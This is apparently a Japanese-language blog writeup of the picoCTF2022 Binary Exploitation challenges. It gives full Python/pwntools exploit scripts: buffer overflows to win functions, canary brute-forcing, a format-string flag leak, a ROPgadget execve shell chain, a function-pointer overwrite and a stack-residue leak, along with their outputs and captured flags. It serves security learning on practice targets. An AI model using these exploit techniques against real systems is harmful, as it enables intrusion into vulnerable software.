好奇心の足跡

飽きっぽくすぐ他のことをしてしまうので、忘れないため・形にして頭に残すための備忘録。

picoCTF2022 [Binary Exploitation] writeup

2022年3月15日~3月29日に開催された中高生向けのCTF大会、picoCTFの[Binary Exploitation]分野のwriteupです。 その他のジャンルについてはこちらを参照。

tech.kusuwada.com

basic-file-exploit

The program provided allows you to write to a file and read what you wrote from it. Try playing around with it and see if you can break it!

Connect to the program with netcat:

$ nc saturn.picoctf.net 50366

The program's source code with the flag redacted can be downloaded here.

program-redacted.cが配布されます。

ソースコードによると、entry_number の index が 0 のところにflagが書いてあるらしい。
最初からメニューの2を選択してデータを読もうとすると、データがありませんと言われるので、一つ適当に入れてから 2: read のメニューを選択、indexに 0 を指定するとflagが出てきました。

buffer overflow 0

Smash the stack

Let's start off simple, can you overflow the correct buffer? The program is available here. You can view source here. And connect with it using:

nc saturn.picoctf.net 65355

実行コードとソースコードが配布されます。ソースコードを読むと、flagファイルを読み込んだ直後に signal が設定されています。
また、vuln 関数では、サイズ100の領域に入力したデータを、サイズ16の領域にstrcpyしようとしています。ここでエラーを発生させれば良さそうなので、タイトルの通りoverflowするよう16文字より長い入力をするとflagが表示されました。

CVE-XXXX-XXXX

Enter the CVE of the vulnerability as the flag with the correct flag format: picoCTF{CVE-XXXX-XXXXX} replacing XXXX-XXXXX with the numbers for the matching vulnerability.

The CVE we're looking for is the first recorded remote code execution (RCE) vulnerability in 2021 in the Windows Print Spooler Service, which is available across desktop and server versions of Windows operating systems. T

The service is used to manage printers and print servers.

雑だけど、2行目の説明文をそのままgoogle検索に突っ込んだら

Security Update Guide - Microsoft Security Response Center

のページが先頭に引っかかったので、これを入れたら答えでした。

buffer overflow 1

Control the return address

ポチッとボタンを押してマシンを立ち上げると、以下の説明が追加されます。

Now we're cooking! You can overflow the buffer and return to the flag function in the program.

You can view source here. And connect with it using nc saturn.picoctf.net 50118

また、ソースコードと実行ファイルが配布されます。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "asm.h"

#define BUFSIZE 32
#define FLAGSIZE 64

void win() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  printf(buf);
}

void vuln(){
  char buf[BUFSIZE];
  gets(buf);

  printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  puts("Please enter your string: ");
  vuln();
  return 0;
}

vuln関数を呼ぶとサイズ32のbufferに入力できるので、この入力をいじってwin関数に飛ばせば良さそう。
現在入力した値によって return address がどう変化したかを表示してくれるらしいので、試行錯誤できるのが優しい。

まずは win 関数のアドレスを探します。

$ objdump -d vuln | grep win
080491f6 <win>:
 804922c: 75 2a                            jne 0x8049258 <win+0x62>

このアドレスを、buffer + payload 分のあとに入れてみます。pwntoolsを使ってスクリプトにしました。32bitアーキテクチャなことに注意です。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *

host = 'saturn.picoctf.net'
port = 51330
win_addr = 0x80491f6

r = remote(host, port)
r.recvuntil(b':')
payload = b'a'*(32+12) + p32(win_addr)
r.sendline(payload)
res = r.recvall()
print(res)

RPS

Here's a program that plays rock, paper, scissors against you. I hear something good happens if you win 5 times in a row.

Connect to the program with netcat:

$ nc saturn.picoctf.net 53865

The program's source code with the flag redacted can be downloaded here.

じゃんけんゲームだ。5回連続で勝てば良いことがあるらしい。
ソースコードが配布されます。
ソースを読んだところ、下記のところで勝ち負け判断をされている事がわかります。

if (strstr(player_turn, loses[computer_turn])) {

これをcomputer_turnの値によらず true にするように player_turn を送ることは出来ないでしょうか。
と思って strstr vulnerability とかでググっていると下記の記事を発見。

Strstr | Hackaday

Seems simple, compare string A to string B and ensure they match. But they used the strstr function. This will return true if string A contains string B. Oops.

なるほど!strstr関数は、文字が "含まれていれば" trueを返しちゃうのね。ということは、毎回全部入りの文字列を送れば必ず勝てる。
5回 rockpaperscissors を送ったらflagが出現しました。

x-sixty-what

Reminder: local exploits may not always work the same way remotely due to differences between machines.

Overflow x64 code

とりあえずボタンをポチしてマシンを立ち上げます。

Most problems before this are 32-bit x86. Now we'll consider 64-bit x86 which is a little different! Overflow the buffer and change the return address to the flag function in this program. Download source.

nc saturn.picoctf.net 61563

ソースコードと実行ファイル、マシンへの接続コマンドが配布されます。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFFSIZE 64
#define FLAGSIZE 64

void flag() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  printf(buf);
}

void vuln(){
  char buf[BUFFSIZE];
  gets(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  puts("Welcome to 64-bit. Give me a string that gets you the flag: ");
  vuln();
  return 0;
}

コードを眺めたところ、flag関数を呼べればflagがゲットできそう。main関数からは、vuln関数が呼ばれ、サイズ64のbufferに文字列を入力できます。
この入力によってflag関数に飛ばせればOK。

64bitアーキテクチャでこのパターン、picoCTF2019 NewOverFlow-2のときと全く同じ解法で解けました。ヒントの通り、途中でretを挟んであげるのが味噌。

r2 vuln
> aaaa
...(omit)...
> afl
0x00401236    3 124          sym.flag
...(omit)...
> s sym.flag
...(omit)...
│           0x004012b0      c9             leave
└           0x004012b1      c3             ret

上記によりflag関数のアドレスと、そこで使われているretのアドレスを取ってきて

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *

host = 'saturn.picoctf.net'
port = 61685
flag_addr = 0x00401236
ret_addr = 0x004012b1 

r = remote(host, port)
#r = process('./vuln')
r.recvuntil(b'the flag: \n')
payload = b'a'*(64+8) + p64(ret_addr) + p64(flag_addr)
r.sendline(payload)
res = r.recvall()
print(res)

これで解けました👍

buffer overflow 2

Control the return address and arguments

This time you'll need to control the arguments to the function you return to! Can you get the flag from this program?

You can view source here. And connect with it using nc saturn.picoctf.net 60619

ソースコードと実行ファイル、マシンへの接続方法が配布されます。今度はwin関数を、適切な引数を付けて呼び出す必要がありそうです。引数についてはコードに書いてあります。

picoCTF2019 OverFlow 2 とほぼ同じ問題なので、解説はこちらを参照。

$ objdump -d vuln | grep win
08049296 <win>:
 80492cc: 75 2a                            jne 0x80492f8 <win+0x62>
 8049313: 75 1a                            jne 0x804932f <win+0x99>
#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *

host = 'saturn.picoctf.net'
port = 60619
win_addr = 0x08049296
arg1 = 0xCAFEF00D
arg2 = 0xF00DF00D

r = remote(host, port)
r.recvuntil(b'Please enter your string:')
payload = b'a'*(100+12) + p32(win_addr)
payload += b'a'*4 + p32(arg1) + p32(arg2)
r.sendline(payload)
res = r.recvall()
print(res)

実行結果

$ python solve.py 
[+] Opening connection to saturn.picoctf.net on port 60619: Done
[+] Receiving all data: Done (165B)
[*] Closed connection to saturn.picoctf.net port 60619
b' \naaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x96\x92\x04\x08aaaa\r\xf0\xfe\xca\r\xf0\r\xf0\npicoCTF{argum3nt5_4_d4yZ_4b24a3aa}'

buffer overflow 3

Do you think you can bypass the protection and get the flag?

It looks like Dr. Oswal added a stack canary to this program to protect against buffer overflows. You can view source here. And connect with it using: nc saturn.picoctf.net 53541

実行ファイル・ソースコードが配布されます。今度もまた32bitアーキテクチャ。

$ file vuln
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=5fadb3d053aee24d87bef67c56037d6d9e2b56f2, for GNU/Linux 3.2.0, not stripped

ソースを見たところ、今度はサイズ4のcanaryが入っているようです。
canary自体はテキストファイルに書いてあるので、固定のものを使いまわしているみたい。サイズも小さいのでこれを当てるのはそんなに無茶なことではなさそう。

これ、picoCTF2018 buffer overflow 3 とほぼ同じ問題だったので、解くのに使ったスクリプトだけ置いておきます。考え方・解き方は上記を参照。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *

host = 'saturn.picoctf.net'
port = 54664

canary = b''
for i in range(4):
    for c in range(0xff):
        attack = b'a'*64 + canary + bytes([c])
        r = remote(host, port)
        r.recvuntil('How Many Bytes will You Write Into the Buffer?\n> ')
        r.sendline(str(64+i+1))
        r.recvuntil('Input> ')
        r.sendline(attack)
        res = r.recvall()
        if b'Canary Value Corrupt!' not in res:
            print(res)
            canary += bytes([c])
            break
print(canary)

canary特定スクリプトの実行結果

$ python canary.py 
...(omit)...
b"Ok... Now Where's the Flag?\n"
b'BiRd'

win関数のアドレスは

$ objdump -d vuln | grep win
08049336 <win>:
 804936c: 75 2a                            jne 0x8049398 <win+0x62>

flag取得スクリプト

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *

host = 'saturn.picoctf.net'
port = 54664

canary = b''
for i in range(4):
    for c in range(0xff):
        attack = b'a'*64 + canary + bytes([c])
        #print(attack)
        r = remote(host, port)
        r.recvuntil('How Many Bytes will You Write Into the Buffer?\n> ')
        r.sendline(str(64+i+1))
        r.recvuntil('Input> ')
        r.sendline(attack)
        res = r.recvall()
        #print(res)
        if b'Canary Value Corrupt!' not in res:
            print(res)
            canary += bytes([c])
            break
print(canary)

実行結果

$ python solve.py 
[+] Opening connection to saturn.picoctf.net on port 54664: Done
[+] Receiving all data: Done (70B)
[*] Closed connection to saturn.picoctf.net port 54664
b"Ok... Now Where's the Flag?\npicoCTF{Stat1C_c4n4r13s_4R3_b4D_10a64ab3}\n"

flag leak

Story telling class 1/2

I'm just copying and pasting with this program. What can go wrong? You can view source here. And connect with it using:

nc saturn.picoctf.net 51378

実行ファイルとソースコードが配布されます。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>

#define BUFSIZE 64
#define FLAGSIZE 64

void readflag(char* buf, size_t len) {
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }

  fgets(buf,len,f); // size bound read
}

void vuln(){
   char flag[BUFSIZE];
   char story[128];

   readflag(flag, FLAGSIZE);

   printf("Tell me a story and then I'll tell you one >> ");
   scanf("%127s", story);
   printf("Here's a story - \n");
   printf(story);
   printf("\n");
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  vuln();
  return 0;
}

storyを入力するとそのまま出力してくれるらしい。vuln関数でflag用のbuffとstory用のbuffが並んで取得されているところがとても怪しい。

そして、ヒントを見ると Format Strings とのこと。
Format Strings Attackを使って、どこかに読み出されたはずの flag を読み出す問題っぽい。
picoCTF2018 echooo と同じ解法で解けたので、解説はこちらを参照。以下スクリプト。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *
context.log_level = 'error'

host = 'saturn.picoctf.net'
port = 52030

for i in range(100):
    print('index: ' + str(i))
    attack_msg = b'%%%d$s' % i
    r = remote(host, port)
    #r = process('./vuln')
    r.recvuntil(b"Tell me a story and then I'll tell you one >> ")
    r.sendline(attack_msg)
    r.recvuntil(b"Here's a story - \n")
    res = ''
    try:
        res = r.recv().decode()
        #print('decoded: ' + res)
    except:
        print('can not decode res message.')
    finally:
        r.close()
    if 'CTF' in res:
        print(res)
        break

localで試したところ、picoCTFではなくて CTF から表示されたので、最後の判定部分のコードはpicoCTFじゃなくてCTFで引っ掛けています。実行結果。

$ python solve.py
index: 0
index: 1
...(omit)...
index: 24
CTF{L34k1ng_Fl4g_0ff_St4ck_6aea3c7c}

ropfu

What's ROP?

ROP問題のようです。マシンをローンチすると、ソースコードと実行ファイルが配布されます。

Can you exploit the following program to get the flag? Download source.

nc saturn.picoctf.net 64338

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 16

void vuln() {
  char buf[16];
  printf("How strong is your ROP-fu? Snatch the shell from my hand, grasshopper!\n");
  return gets(buf);

}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  

  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  vuln();
  
}

とてもシンプルなソース。flagに関する手がかりはなにもないので、shellを取るのをゴールとしてタイトルの通りROPを組みたいと思います。

$ file vuln 
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, BuildID[sha1]=3aa2bb6a5bf44d90a355da83fa909bbf5d9d90ce, for GNU/Linux 3.2.0, not stripped

ちなみに32bitアーキ。
実行ファイルの中身を radare2 で覗いてみましたが、他のライブラリが一緒に静的コンパイルされてそう。picoCTF2018 can-you-gets-meとかなり似ています。今回も詳細な説明はここを参照していただいて、以下はその時からの差分・使用したコマンド・スクリプトを書いておきます。

ROPgadgetをinstallしてやってみます。このときはkaliに標準で入ってたのに、最新のkaliには入ってなかった…。

$ ROPgadget --binary vuln --ropchain
...(omit)...
- Step 5 -- Build the ROP chain

        #!/usr/bin/env python2
        # execve generated by ROPgadget

        from struct import pack

        # Padding goes here
        p = ''

        p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
        p += pack('<I', 0x080e5060) # @ .data
        p += pack('<I', 0x41414141) # padding
        p += pack('<I', 0x080b074a) # pop eax ; ret
        p += '/bin'
        p += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret
        p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
        p += pack('<I', 0x080e5064) # @ .data + 4
        p += pack('<I', 0x41414141) # padding
        p += pack('<I', 0x080b074a) # pop eax ; ret
        p += '//sh'
        p += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret
        p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
        p += pack('<I', 0x080e5068) # @ .data + 8
        p += pack('<I', 0x41414141) # padding
        p += pack('<I', 0x0804fb90) # xor eax, eax ; ret
        p += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret
        p += pack('<I', 0x08049022) # pop ebx ; ret
        p += pack('<I', 0x080e5060) # @ .data
        p += pack('<I', 0x08049e39) # pop ecx ; ret
        p += pack('<I', 0x080e5068) # @ .data + 8
        p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
        p += pack('<I', 0x080e5068) # @ .data + 8
        p += pack('<I', 0x080e5060) # padding without overwrite ebx
        p += pack('<I', 0x0804fb90) # xor eax, eax ; ret
        p += pack('<I', 0x0808055e) # inc eax ; ret
        p += pack('<I', 0x0808055e) # inc eax ; ret
        p += pack('<I', 0x0808055e) # inc eax ; ret
        p += pack('<I', 0x0808055e) # inc eax ; ret
        p += pack('<I', 0x0808055e) # inc eax ; ret
        p += pack('<I', 0x0808055e) # inc eax ; ret
        p += pack('<I', 0x0808055e) # inc eax ; ret
        p += pack('<I', 0x0808055e) # inc eax ; ret
        p += pack('<I', 0x0808055e) # inc eax ; ret
        p += pack('<I', 0x0808055e) # inc eax ; ret
        p += pack('<I', 0x0808055e) # inc eax ; ret
        p += pack('<I', 0x0804a3d2) # int 0x80

最新のkaliのpython2にpip2入れて、pwntoolを入れて、足りないライブラリを色々入れたら動きました!python2でしか出ない仕様はまだアップグレードされていないのかな?
これをそのまま使って、python2用のexploitコードを書きます。

#!/usr/bin/env python2
# -*- coding:utf-8 -*-
# execve generated by ROPgadget

from pwn import *
from struct import pack

host = 'saturn.picoctf.net'
port = 57819

#process = pico_ssh.process('./vuln')
process = remote(host, port)

# ここからROPgadgetの出力をそのまま + paddingを指定
# Padding goes here
p = 'A' * (0x18 + 0x04)

p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
p += pack('<I', 0x080e5060) # @ .data
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x080b074a) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
p += pack('<I', 0x080e5064) # @ .data + 4
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x080b074a) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
p += pack('<I', 0x080e5068) # @ .data + 8
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x0804fb90) # xor eax, eax ; ret
p += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08049022) # pop ebx ; ret
p += pack('<I', 0x080e5060) # @ .data
p += pack('<I', 0x08049e39) # pop ecx ; ret
p += pack('<I', 0x080e5068) # @ .data + 8
p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
p += pack('<I', 0x080e5068) # @ .data + 8
p += pack('<I', 0x080e5060) # padding without overwrite ebx
p += pack('<I', 0x0804fb90) # xor eax, eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0804a3d2) # int 0x80

process.sendline(p)
process.interactive()

実行結果

$ python2 solve.py               
[+] Opening connection to saturn.picoctf.net on port 57819: Done
[*] Switching to interactive mode
How strong is your ROP-fu? Snatch the shell from my hand, grasshopper!
$ ls
flag.txt
vuln
$ cat flag.txt
picoCTF{5n47ch_7h3_5h311_5b4fc869}

wine

Challenge best paired with wine.

I love windows. Checkout my exe running on a linux box. You can view source here. And connect with it using nc saturn.picoctf.net 57271

ヒント

Gets is dangerous. Even on windows.

getsの脆弱性を使う問題っぽい。ソースコードと実行ファイルvuln.exeが配布されます。

$ file vuln.exe 
vuln.exe: PE32 executable (console) Intel 80386, for MS Windows
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>

#define BUFSIZE 64
#define FLAGSIZE 64

void win(){
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if running on picoCTF servers.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f); // size bound read
  puts(buf);
  fflush(stdout);
}

void vuln()
{
  printf("Give me a string!\n");
  char buf[128];
  gets(buf);
}
 
int main(int argc, char **argv)
{

  setvbuf(stdout, NULL, _IONBF, 0);
  vuln();
  return 0;
}

ローカルでもremoteでも、最初何も出てこなかったのでおや?と思いましたが、暫く待つとちゃんと "Give me a string!" が出てきました。

他のwindowsじゃない問題と同様、mainから呼ばれていないwin関数を呼べば良いようです。

$ objdump -d vuln.exe | grep win
00401530 <_win>:
  401551: 75 18                           jne 0x40156b <_win+0x3b>

32bitアーキテクチャのlinuxシステムのときと同じようにできるか試してみます。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *

host = 'saturn.picoctf.net'
port = 54249

win_adder = 0x00401530
attack = b'a'*(128+12) + p32(win_adder)

r = remote(host, port)
r.recvuntil('Give me a string!')
r.sendline(attack)
print(r.recvall().decode())

実行結果

$ python solve.py 
[+] Opening connection to saturn.picoctf.net on port 54249: Done
[+] Receiving all data: Done (1.49KB)
[*] Closed connection to saturn.picoctf.net port 54249

picoCTF{Un_v3rr3_d3_v1n_1f5c0001}
Unhandled exception: page fault on read access to 0x7fec3900 in 32-bit code (0x7fec3900).
Register dump:
 CS:0023 SS:002b DS:002b ES:002b FS:006b GS:0063
 EIP:7fec3900 ESP:0064fe84 EBP:61616161 EFLAGS:00010206(  R- --  I   - -P- )
 EAX:00000000 EBX:00230e78 ECX:0064fe14 EDX:7fec48f4
 ESI:00000005 EDI:0021e718
Stack dump:
0x0064fe84:  00000000 00000004 00000000 7b432ecc
0x0064fe94:  00230e78 0064ff28 00401386 00000002
0x0064fea4:  00230e70 006d0d50 7bcc4625 00000004
0x0064feb4:  00000008 00230e70 0021e718 0003feab
0x0064fec4:  0fb187a4 00000000 00000000 00000000
0x0064fed4:  00000000 00000000 00000000 00000000
Backtrace:
=>0 0x7fec3900 (0x61616161)
0x7fec3900: addb    %al,0x0(%eax)
...(omit)...

色んな情報を出してくれました!このDebugっぽい情報は、flagが表示されなくてもbuffer overflowしたら出てきたので試行錯誤するときは役に立ったっぽい。
今回はoffsetもバッチリ一回目であってたので、上記ログは成功してflagも出てきたときのログ。

function overwrite

Story telling class 2/2

You can point to all kinds of things in C. Checkout our function pointers demo program. You can view source here. And connect with it using nc saturn.picoctf.net 51835

マシンをローンチすると、ソースコードと実行ファイルが配布されます。

$ file vuln
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=b75d1c294605b83e31f819abdf410d4dcd8c7762, for GNU/Linux 3.2.0, not stripped

また32bitアーキテクチャです。ソースコードはこちら。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>

#define BUFSIZE 64
#define FLAGSIZE 64

int calculate_story_score(char *story, size_t len)
{
  int score = 0;
  for (size_t i = 0; i < len; i++)
  {
    score += story[i];
  }

  return score;
}

void easy_checker(char *story, size_t len)
{
  if (calculate_story_score(story, len) == 1337)
  {
    char buf[FLAGSIZE] = {0};
    FILE *f = fopen("flag.txt", "r");
    if (f == NULL)
    {
      printf("%s %s", "Please create 'flag.txt' in this directory with your",
                      "own debugging flag.\n");
      exit(0);
    }

    fgets(buf, FLAGSIZE, f); // size bound read
    printf("You're 1337. Here's the flag.\n");
    printf("%s\n", buf);
  }
  else
  {
    printf("You've failed this class.");
  }
}

void hard_checker(char *story, size_t len)
{
  if (calculate_story_score(story, len) == 13371337)
  {
    char buf[FLAGSIZE] = {0};
    FILE *f = fopen("flag.txt", "r");
    if (f == NULL)
    {
      printf("%s %s", "Please create 'flag.txt' in this directory with your",
                      "own debugging flag.\n");
      exit(0);
    }

    fgets(buf, FLAGSIZE, f); // size bound read
    printf("You're 13371337. Here's the flag.\n");
    printf("%s\n", buf);
  }
  else
  {
    printf("You've failed this class.");
  }
}

void (*check)(char*, size_t) = hard_checker;
int fun[10] = {0};

void vuln()
{
  char story[128];
  int num1, num2;

  printf("Tell me a story and then I'll tell you if you're a 1337 >> ");
  scanf("%127s", story);
  printf("On a totally unrelated note, give me two numbers. Keep the first one less than 10.\n");
  scanf("%d %d", &num1, &num2);

  if (num1 < 10)
  {
    fun[num1] += num2;
  }

  check(story, strlen(story));
}
 
int main(int argc, char **argv)
{

  setvbuf(stdout, NULL, _IONBF, 0);

  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  vuln();
  return 0;
}

flag leakと似たような構成と変数名。今回mainから呼ばれるのはvuln、その先はhard_checkerが呼ばれ、呼ばれる予定のないeasy_checkerが存在しています。

easy_checkerは入力した値の合計が1337になれば良いので、雰囲気で選びましたが ascii code に直すと 80Pを16個と 579 を組み合わせればチェックを通りそう。
このロジックだと頑張ればhardのチェックも通せそうですが、なんとなくhardよりeasyの方を呼び出したい気がするので、アドレスを調べてみます。

$ objdump -d vuln | grep check
080492fc <easy_checker>:
 8049325: 0f 85 f3 00 00 00             jne 0x804941e <easy_checker+0x122>
 80493bb: 75 2a                            jne 0x80493e7 <easy_checker+0xeb>
 804941c: eb 12                            jmp 0x8049430 <easy_checker+0x134>
08049436 <hard_checker>:
 804945f: 0f 85 f3 00 00 00             jne 0x8049558 <hard_checker+0x122>
 80494f5: 75 2a                            jne 0x8049521 <hard_checker+0xeb>
 8049556: eb 12                            jmp 0x804956a <hard_checker+0x134>

以下で代入しているアドレスを、easyの方に書き換えたい。

void (*check)(char*, size_t) = hard_checker;
int fun[10] = {0};

メモリ確保の並び順的に、このfun[マイナスのインデックス]をeasyのアドレスに置き換えられるとよさそう。そういえばヒント、

Don't be so negative

って書いてあった。そんなに難しくないよって意味かと思ったけど、マイナスのindex使えるぜってことかもしれない。

fun[num1] += num2;

hard_checkerのアドレスをeasy_checkerのアドレスに書き換えるには、さっきのアドレスチェックの結果から、-314(10進)する必要があります。
indexを-1にしてもうまく行かないので、どのindexを書き換えたらいいのか下記のスクリプトで調査しました。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *
context.log_level = 'error'

for i in range(0,50):
    r = process('./vuln')
    r.recvuntil(b"Tell me a story and then I'll tell you if you're a 1337 >> ")
    score = b'P'*16 + b'9'
    r.sendline(score)
    r.recvuntil(b"On a totally unrelated note, give me two numbers. Keep the first one less than 10.")
    payload = str(-i)
    print(b'num1: ' + payload.encode(), end='')
    r.sendline(payload.encode())
    r.sendline(b'-314')
    print(r.recvall())

実行結果

f:id:kusuwada:20220404183739p:plain

indexは -16 のようです。あとはこれをremoteに向けてあげるだけ。

$ python solve.py 
b'PPPPPPPPPPPPPPPP9' 17
b"\nYou're 1337. Here's the flag.\npicoCTF{0v3rwrit1ng_P01nt3rs_53614882}\n"

stack cache

Undefined behaviours are fun.

It looks like Dr. Oswal allowed buffer overflows again. Analyse this program to identify how you can get to the flag. You can view source here. And connect with it using nc saturn.picoctf.net 60277

実行ファイルとソースコードが配布されます。

$ file vuln
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, BuildID[sha1]=2086590c54a1529f4b0d75d5daf8d7814ac80e30, for GNU/Linux 3.2.0, not stripped

32bitアーキテクチャ。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>

#define BUFSIZE 16
#define FLAGSIZE 64
#define INPSIZE 10

/*
This program is compiled statically with clang-12
without any optimisations.
*/

void win() {
  char buf[FLAGSIZE];
  char filler[BUFSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f); // size bound read
}

void UnderConstruction() {
        // this function is under construction
        char consideration[BUFSIZE];
        char *demographic, *location, *identification, *session, *votes, *dependents;
    char *p,*q, *r;
    // *p = "Enter names";
    // *q = "Name 1";
    // *r = "Name 2";
        unsigned long *age;
    printf("User information : %p %p %p %p %p %p\n",demographic, location, identification, session, votes, dependents);
    printf("Names of user: %p %p %p\n", p,q,r);
        printf("Age of user: %p\n",age);
        fflush(stdout);
}

void vuln(){
   char buf[INPSIZE];
   printf("Give me a string that gets you the flag\n");
   gets(buf);
   printf("%s\n",buf);
   return;
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  vuln();
  printf("Bye!");
  return 0;
}

ヒントはこちら。

Maybe there is content left over from stack?

Try compiling it with gcc and clang-12 to see how the binaries differ

main関数からvulnが呼ばれ、文字列入力させてそれを出力して終わり。他、flagを読み込むだけの win 関数と、呼び出されていない未定義の変数が多く、その未定義の変数を出力するUnderConstruction関数があります。最後の fflush 関数が気になるところ。

ヒントや題名からも、win関数の中でどこかのメモリに読みだしたflagを、次にUnderConstruction関数を呼んで未定義の変数、即ち初期化もされていない変数を出力させることで表示できたりしないかしら。

ということで、各関数のアドレスを調査します。

$ r2 vuln
[0x08049c20]> aaaa
[0x08049c20]> afl | grep win
...(omit)...
0x08049da0    3 122          sym.win
...(omit)...
[0x08049c20]> afl | grep UnderConstruction
0x08049e20    1 148          sym.UnderConstruction

あとは、このアドレスを順番に呼んであげます。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *
context.log_level = 'error'

host = 'saturn.picoctf.net'
port = 58081

local_addr_win = 0x08049da0
local_addr_uncon = 0x08049e20

#r = process('./vuln')
r = remote(host, port)
r.recvuntil(b'Give me a string that gets you the flag')
payload = b'a' * (10 + 4)
payload += p32(local_addr_win)
payload += p32(local_addr_uncon)
r.sendline(payload)
res = r.recvall()
print(res)

実行結果

$ python3 rempte.py
b'\naaaaaaaaaaaaaa\xa0\x9d\x04\x08 \x9e\x04\x08\nUser information : 0x80c9a04 0x804007d 0x37363765 0x63353532 0x5f597230 0x6d334d5f\nNames of user: 0x50755f4e 0x34656c43 0x7b465443\nAge of user: 0x6f636970\n'

このhexを逆順にascii変換すると、flagが得られました。

f:id:kusuwada:20220404182622p:plain